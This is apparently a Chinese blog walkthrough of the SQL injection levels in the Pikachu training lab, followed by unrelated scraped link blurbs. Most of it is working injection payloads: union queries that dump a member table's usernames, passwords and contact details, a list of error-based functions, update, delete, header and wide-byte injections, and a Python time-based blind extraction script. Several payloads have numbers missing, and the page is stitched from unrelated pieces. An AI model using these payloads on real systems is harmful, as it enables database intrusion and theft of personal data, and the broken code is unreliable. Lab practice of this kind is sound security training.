pikachu SQL-Injection
1.数字型注入(POST)
可以看到,这个参数提交是POST类型的,用burp。
测试参数id
id='&submit=%E6%9F%A5%E8%AF%A2
可以看到有报错回显,而且根据回显可以判断这个注入为数字型注入,构造payload
查询此表单有多少列
确定只有两列,union注入
id=- union select database(),version()
查询出数据库名为pikachu 数据库版本为5.5.39
继续查询pikachu数据库内有什么表
id=- union select group_concat(table_name), from information_schema.tables where table_schema='pikachu'
继续查询member表内有什么列、
id=- union select group_concat(column_name), from information_schema.columns where table_name='member'
查询所有字段
id=- union select group_concat(id,username,pw,sex,phonenum,address,email), from member
用户表里的所有数据就被注入出来了。
2.字符型注入(get)
先尝试查询
测试sql注入
allen'
出现报错,说明此字符型注入为 ' 闭合
说明闭合成功,没有 ) 存在,而且经过测试没有过滤。所以直接用第一关的payload即可
allen' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#
所有用户数据都被注入出来了
3.搜索型注入
测试一下
说明后台语句将参数传递进去时,查询语句的的目标为 al%'
测试发现没有过滤,直接用之前的payload,但是又有一点不同,这里有三个回显位,所以要加一个字段
%' union select group_concat(id,username,pw,sex,phonenum,address,email),2,3 from member#
所有用户数据都被注入出来了
4.xx型注入
照常测试
allen'
回显报错
说明此语句闭合为 ('allen')
并且经过测试,此查询位置也没有过滤,可以直接用第二关的payload,稍微改造一下。
-') union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#
用户信息都被注入出来。
5.insert/update注入
根据判断,此关为insert/update注入,应该是在注册或者修改用户账号信息的时候存在注入漏洞,如图。
大致判断此处insert语句为
insert into user(name,password,sex,phone,address1,address2) value('','','','','','')
所以这里没办法使用select拼接,且无回显,我们需要利用报错注入来使数据库将目标信息当做错误信息返回回来
我们在这里使用最省力气的方法,如果在前几个字段注入,肯定还要闭合后面的字段,所以我们直接注入最后一个地址,而地址肯定为字符型,所以我们可以直接构造payload如下,前几个瞎填就行,因为这是最后一个字段,所以闭合括号之后,直接用#注释掉之后的语句即可
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#
报错信息回显,select user()执行成功,而且此位置无过滤,想获得其他信息,参考之前的payload
除此之外,还有很多可以导致报错注入的函数。在这里分享一下。
、通过floor报错,注入语句如下:
and (select from (select count(*),concat(version(),floor(rand()*))x from information_schema.tables group by x)a); 、通过ExtractValue报错,注入语句如下:
and extractvalue(, concat(0x5c, (select table_name from information_schema.tables limit ))); 、通过UpdateXml报错,注入语句如下:
and =(updatexml(,concat(0x3a,(select user())),)) 、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,))a join (select name_const(@@version,))b)c) 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c; 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) ); 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b ); 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b ); 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b ); 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b ); 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b ); 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
同理,做update注入,update肯定在修改个人信息的位置,我们同样选择最后一个框框,省事。
还利用刚才的payload
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#
结果发现报错了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')#' where username='allen'' at line 1
这时才想起来update语句不太一样,update语句格式如下
UPDATE `member` SET `id`=[value-],`username`=[value-],`pw`=[value-],`sex`=[value-],`phonenum`=[value-],`address`=[value-],`email`=[value-] WHERE
所以不管在哪个列都要闭合,所以改一下payload
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '
返回结果正确
其他数据,利用select语句查询。
6.delete注入
此关长这样,判断应该是先留言,然后在删除的时候可以触发delete注入
先留个严,查看删除链接。
可以判断这个id参数存在delete注入,先查看delete语句模板
DELETE FROM `member` WHERE id=$id;
直接构造payload
and =(updatexml(,concat(0x3a,(select user())),))
然后直接访问url
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 and 1=(updatexml(1,concat(0x3a,(select%20user())),1))
看到delete报错注入成功
其他信息利用select查询。
7.http header注入
首先发现需要登录,那就先登录试试。
发现他获取了我的http头信息,所以应该是在http头构造sql语句。burp抓一下包
因前端回显只有
Host: 127.0.0.1'or ''='
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/ Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
所以在这三处进行测试。
accept数据出现在报错信息里,所以注入点应该是在User-Agent
测试User-Agent发现,此处没有回显,可以猜测此处是先插入数据库,再输出到前端页面。所以我们可以使用报错注入。
1'and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '
发现注入成功。
8.盲注(based on boolian)
测试
然后测试 allen'
注释掉之后的语句
发现数据库有两列
然后经过测试发现,此处根本不需要盲注。
此关和字符型注入的差别就是,此关只能输出一行回显,所以一些人认为只能盲注。
但是我们只需要吧查询的字符改为不存在的字符,使得第一行消失,联合查询的结果就可以回显。所以我们使用下面的payload即可
-' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#
9.盲注(based on time)
照常测试,发现不管输入正确的用户名还是错误的用户名,回显都是 i don't care who you are!
说明后台并没有将数据库命令执行信息回显到前端。这种情况只能使用时间盲注。
先测试一下数据库名的长度
allen' and If(length(database())=7,sleep(5),1)#
发现当length为7的时候 执行了sleep(5)所以,数据库名长度为7
写脚本。
import requests
import urllib
headers = {
"Host": "127.0.0.1" ,
"Connection": "keep-alive" ,
"Upgrade-Insecure-Requests": "" ,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ,
"Sec-Fetch-User": "?1" ,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-Mode": "navigate ",
"Referer": "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" ,
"Accept-Encoding": "gzip, deflate, br ",
"Accept-Language":"zh-CN,zh;q=0.9"}
cookies = {
"Cookie":" PHPSESSID=899k0pd0igmcrftk05e1iqo806 "} def six_six_six(url):
flag = ''
for j in range():
for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
data = url + "allen%27+and+If%28ascii%28substr%28database%28%29%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2".format(j=j+,i=ord(i))+r"&submit=查询#"
try:
requests.get(url=data,headers = headers,cookies = cookies,timeout=)
except:
flag=flag+i
print('[*]%s'%flag)
break
print('[+]%s'%flag) url = 'http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name='
six_six_six(url)
'''sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
(select(flag)from(flag)where(flag)like('f%'))like('f%')
(select(flag)from(flag)where(flag)like('f%'))'''
跑一下
成功跑出数据库名
想注入出其他的信息,可以利用下面的payload
allen%+and+If%28ascii%28substr%28select table_name from information_schema.tables where table_schema = 'pikachu' limit ,%2C{j}%2C1%%%3D{i}%2Csleep%%%2Cnull%%&submit=%E6%9F%A5%E8%AF%A2
其他与之前的代码相同。
10.宽字节注入
先抓包。
已经知道此关为宽字节注入,但是pikachu不好的地方就是这里,因为此关没有报错回显,所以没有比较好的办法去判断此处是不是宽字节注入。
宽字节注入最明显的一个特征就是GBK编码,GBK编码与ascii编码和utf-8不同的地方就是GBK会吃字符。比如说在服务端开启了转义函数后 %df' 就会被编码成 運’
但是在此关因为没有回显,只能强行闭合。
kobe%df' or =#
同理payload 可以为
allen%df' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#
其他与之前的相同
pikachu SQL-Injection的更多相关文章
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
- ecshop /search.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- How to prevent SQL injection attacks?
In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...
- Zabbix 3.0.3 SQL Injection
Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ============================ ...
- SQL injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...
随机推荐
- 牛客OI周赛13-提高组-0还是1-(dp+位运算)
https://ac.nowcoder.com/acm/contest/2970/A 给出长度为n的一连串位运算符号,用n+1个0或1使运算插入最后得到1,求01序列有多少种可能. dp[i][j]表 ...
- 使用python做一个爬虫GUI程序
整体思路和之前的一篇博客爬虫豆瓣美女一致,这次加入了图片分类,同时利用tkinter模块做成GUI程序 效果如下: 整体代码如下: # -*- coding:utf-8 -*- import requ ...
- Vue中MVVM模式的双向绑定原理 和 代码的实现
今天带大家简单的实现MVVM模式,Object.defineProperty代理(proxy)数据 MVVM的实现方式: 模板编译(Compile) 数据劫持(Observer) Object ...
- 中秋快乐,分享福利脑图:入门spring cloud
- multer 文件后缀名
我的代码是这样写的. var storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, 'uplo ...
- YY工具隐私政策
YY工具(以下简称“我们”)深知个人信息对您的重要性,并会尽全力保护您的个人信息安全可靠.我们致力于维持您对我们的信任,恪守以下原则,保护您的个人信息:权责一致原则.目的明确原则.选择同意原则.最少够 ...
- Knative 实践:从源代码到服务的自动化部署
通过之前的文章,相信大家已经熟悉了 Serving.Eventing 以及 Tekton.那么在实际使用中,我们往往会遇到一些复杂的场景,这时候就需要各个组件之间进行协作处理.例如我们提交源代码之后是 ...
- CentOS7系统yum方式安装MySQL5.7
参考:https://www.cnblogs.com/bigbrotherer/p/7241845.html#top 1.在CentOS中默认安装有MariaDB,这个是MySQL的分支,但为了需要, ...
- C# WebAPI 文件在线预览
最近在写一个移动端API接口,其中有一个需求:接口返回附件url地址让手机端调用实现文件在线预览.大体实现思路:把doc.xls等文本格式文件转换为pdf,转换后的pdf文件存放在服务器上面,方便第二 ...
- Java中级知识归纳(三)
十一.Java垃圾回收机制 Java的垃圾回收机制是Java虚拟机提供的能力,用于在空闲时间以不定时的方式动态回收无任何引用的对象占据的内存空间.可以使用显式调用,System.gc();Runtim ...